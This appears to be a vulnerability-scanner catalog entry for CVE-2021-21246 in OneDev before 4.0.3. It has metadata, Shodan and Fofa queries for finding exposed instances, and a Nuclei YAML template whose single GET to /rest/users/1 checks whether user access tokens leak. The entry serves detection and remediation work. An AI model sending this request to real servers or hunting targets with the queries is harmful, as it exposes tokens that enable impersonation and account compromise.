CVE-2021-21246: OneDev < 4.0.3 - User Access Token Leak
- Template: CVE-2021-21246
- Name: OneDev < 4.0.3 - User Access Token Leak
- Description: OneDev before version 4.0.3 contains an insecure endpoint that allows retrieval of arbitrary user details, including access tokens, due to missing security checks on /users/{id}, letting attackers leak sensitive data and impersonate users, exploit requires no special conditions.
- Impact: Attackers can access sensitive user data and tokens, leading to impersonation, data leaks, and potential full account compromise.
- Remediation: Update to version 4.0.3 or later where user info is removed from the REST API.
- Severity: high
- Authors: DhiyaneshDk
- Tags: cve, cve2021, onedev, auth-bypass, token-leak, vuln
- References: https://github.com/theonedev/onedev/security/advisories/GHSA-66v7-gg85-f4gx, https://github.com/theonedev/onedev/commit/a4491e5f79dc6cc96eac20972eedc8905ddf6089, https://nvd.nist.gov/vuln/detail/CVE-2021-21246, https://securitylab.github.com/advisories/GHSL-2020-214_223-onedev/
- Cves: CVE-2021-21246
- Verified: yes
- Max requests: 1
- Directory: http/cves
- Path: http/cves/2021/CVE-2021-21246.yaml
- Digest: 4b0a00483046022100aa7588d0bbb077dbe9810c8184439e32551d1b86b65e0e327342611c2634d1e6022100c6fa83fb1995ed94ba23827af9f4fd4d9e0391664afe1f9ee6e7411ca919b56e
- Created at: 2026-01-23T12:14:27Z
- Updated at: 2026-11-21T02:03:58Z
- Age in days: 305
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2021/CVE-2021-21246.yaml
Classification
- Cwe: CWE-862
- Cvss score: 8.6
- Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
- Epss score: 0.49051
- Epss percentile: 0.98912
- Not known: cpe
Metadata
- Fofa-query: title="OneDev"
- Max-request: 1
- Product: onedev
- Shodan-query: title:"OneDev"
- Vendor: onedev_project
- Verified: yes
Products
| Product | Indexed | Url |
|---|---|---|
| onedev_project:onedev | yes | /v1/products/onedev_project/onedev |
Labels
- Name: OneDev - Broken Access Control
- Impact: Attackers can access sensitive user data and tokens, leading to impersonation, data leaks, and potential full account compromise.
- Remediation: Update to version 4.0.3 or later where user info is removed from the REST API.
- Vulnerability type: broken_access_control
- Vulnerability impact: information_disclosure, privilege_escalation
- Requirement type: none
- Labels source: projectdiscovery
- From cve: CVE-2021-21246
- Not known: requirements
```yaml
id: CVE-2021-21246
info:
name: OneDev < 4.0.3 - User Access Token Leak
author: DhiyaneshDk
severity: high
description: |
OneDev before version 4.0.3 contains an insecure endpoint that allows retrieval of arbitrary user details, including access tokens, due to missing security checks on /users/{id}, letting attackers leak sensitive data and impersonate users, exploit requires no special conditions.
impact: |
Attackers can access sensitive user data and tokens, leading to impersonation, data leaks, and potential full account compromise.
remediation: |
Update to version 4.0.3 or later where user info is removed from the REST API.
reference:
- https://github.com/theonedev/onedev/security/advisories/GHSA-66v7-gg85-f4gx
- https://github.com/theonedev/onedev/commit/a4491e5f79dc6cc96eac20972eedc8905ddf6089
- https://nvd.nist.gov/vuln/detail/CVE-2021-21246
- https://securitylab.github.com/advisories/GHSL-2020-214_223-onedev/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
cvss-score: 8.6
cve-id: CVE-2021-21246
cwe-id: CWE-862
epss-score: 0.49051
epss-percentile: 0.98912
metadata:
verified: true
max-request: 1
vendor: onedev_project
product: onedev
shodan-query: title:"OneDev"
fofa-query: title="OneDev"
tags: cve,cve2021,onedev,auth-bypass,token-leak,vuln
http:
- method: GET
path:
- "{{BaseURL}}/rest/users/1"
headers:
Content-Type: application/json
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"accessToken"'
- '"email"'
condition: and
- type: word
part: content_type
words:
- "application/json"
- type: status
status:
- 200
digest: 4b0a00483046022100aa7588d0bbb077dbe9810c8184439e32551d1b86b65e0e327342611c2634d1e6022100c6fa83fb1995ed94ba23827af9f4fd4d9e0391664afe1f9ee6e7411ca919b56e:922c64590222798bb761d5b6d8e72950
```